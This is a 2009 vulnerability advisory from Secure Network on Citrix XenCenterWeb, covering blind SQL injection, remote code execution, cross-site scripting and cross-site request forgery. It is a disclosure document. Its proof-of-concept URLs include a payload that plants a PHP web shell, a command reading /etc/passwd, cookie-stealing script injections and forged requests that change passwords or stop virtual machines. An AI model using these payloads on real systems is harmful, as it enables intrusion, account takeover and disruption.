Security Research Advisory

Citrix XenCenterWeb
Multiple Vulnerabilities

Table of Contents

Summary

Citrix XenCenterWeb is a web interface for Citrix XenServer environment management. Users of XenCenterWeb will be able to see a list of Virtual Machines in the Resource Pool, perform life-cycle actions (start, shutdown, restart, etc.), get basic information about the hosts in the Resource Pools, information about the VMs and also connect to the console of the VMs.

Because of poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible. Cross-site scripting, cross-site request forgery, SQL injection and remote command execution attack vectors were identified as well.

XSS and CSRF attacks can be performed on the virtual appliance itself, while the others require the PHP parameter *magic_quotes_gpc* to be off on the web server.

Date	Details
01/06/2009	Vendor disclosure
11/06/2009	Vendor acknowledgment
n./d.	Patch release
06/07/2009	Public disclosure

Blind SQL Injection

<table>
<tr><td colspan="5">Blind SQL Injection</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-09-01</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">H</td><td>Citrix XenCenterWeb</td><td>n./d.</td><td>Remote</td><td>n./d.</td><td rowspan="3">Alberto Trivero
Claudio Criscione</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.citrix.com</td><td colspan="2">-</td></tr>
</table>

Vulnerability Details

The username parameter in the *login.php* script is vulnerable to a Blind SQL Injection attack, due to lack of sanitization. An attacker can thus inject arbitrary SQL statements, retrieving the whole database schema through specially crafted requests.

Technical Details

Description

Here is an example proof of concept.

PoC Request:

```
https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE 'root@%',
        benchmark(1000000,sha1('test')), 'false')/*
```

Obviously, other high profile attacks can be performed through this attack vector.

Remote Code Execution

Remote Code Execution					Advisory Number
					SN-09-01
Severity	Software	Version	Accessibility	CVE	Author(s)
H	Citrix XenCenterWeb	n./d.	Remote	n./d.	Alberto Trivero Claudio Criscione
	Vendor URL		Advisory URL		
	http://www.citrix.com		-		

Vulnerability Details

An attacker could write arbitrary data in the file:

```
/usr/local/lib/php/include/config.ini.php
```

through the file:

```
/var/www/config/writeconfig.php.
```

Due to this unsecure behavior, arbitrary commands can be executed on the machine.

Technical Details

Description

An attacker could persuade a victim user, with enough authorization, to surf the following crafted URL.

PoC URL:

```
https://xencenterweb.loc/config/writeconfig.php?pool1='; ?> <?php $cmd = $_REQUEST['cmd']; passthru($cmd); ?> <?php $xen = '
```

Obviously, he can also use an encoded version.

PoC Encoded URL:

```
https://xencenterweb.loc/config/writeconfig.php?pool1=%27%3B%20%3F%3E%20%3C%3Fphp%20%24cmd%20%3D%20%24_REQUEST%5B%27cmd%27%5D%3B%20passthru%28%24cmd%29%3B%20%3F%3E%20%3C%3Fphp%20%24xen%20%3D%20%27
```

The victim would unconsciously create a PHP web shell. An attacker can then simply execute commands on the system through the console.php file.

PoC:

```
https://xencenterweb.loc/console.php?cmd=cat%20/etc/passwd;
```

Multiple Cross-Site Scripting (XSS)

Multiple Cross-Site Scripting (XSS)					Advisory Number
					SN-09-01
Severity	Software	Version	Accessibility	CVE	Author(s)
M	Citrix XenCenterWeb	n./d.	Remote	n./d.	Alberto Trivero Claudio Criscione
	Vendor URL		Advisory URL		
	http://www.citrix.com		-		

Vulnerability Details

Because of poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible, such as multiple kinds of Cross-Site Scripting.

A potential attacker could craft malicious URL in order to inject arbitrary javascript code.

Technical Details

Description

With a default PHP configuration (register_globals=Off and magic_quotes_gpc=On), XSS attacks can be executed.

The first XSS attack exploits the lack of sanitization in the username parameter in *edituser.php* script and requires the victim to be able to access configuration scripts.

PoC URL:

```
https://xencenterweb.loc/config/edituser.php?username=1<script>alert(document.cookie)</script>
```

Under the same conditions, even a Cross-Site Request Forgery attack can be executed to change the password of an arbitrary user.

PoC URL:

```
https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd]
```

Another CSRF attack can hard stop a VM of the attacker's choice.

PoC URL:

```
https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname]
```

Further XSS vulnerabilities afflict scripts accessible by anyone. Proof of concept URLs are reported below.

PoC URLs:

https://xencenterweb.loc/console.php?location=1"><script>alert(document.cookie)</script><"&vmname=myVM

https://xencenterweb.loc/console.php?location=1&sessionid=1"><script>alert(123)</script><"&vmname=myVM

https://xencenterweb.loc/console.php?location=1&sessionid=1&vmname=myVM<script>alert(123)</script>

https://xencenterweb.loc/forcerestart.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM

https://xencenterweb.loc/forcerestart.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"

https://xencenterweb.loc/forcesd.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"

https://xencenterweb.loc/forcesd.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM

Legal Notices

Secure Network (*www.securenetwork.it*) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41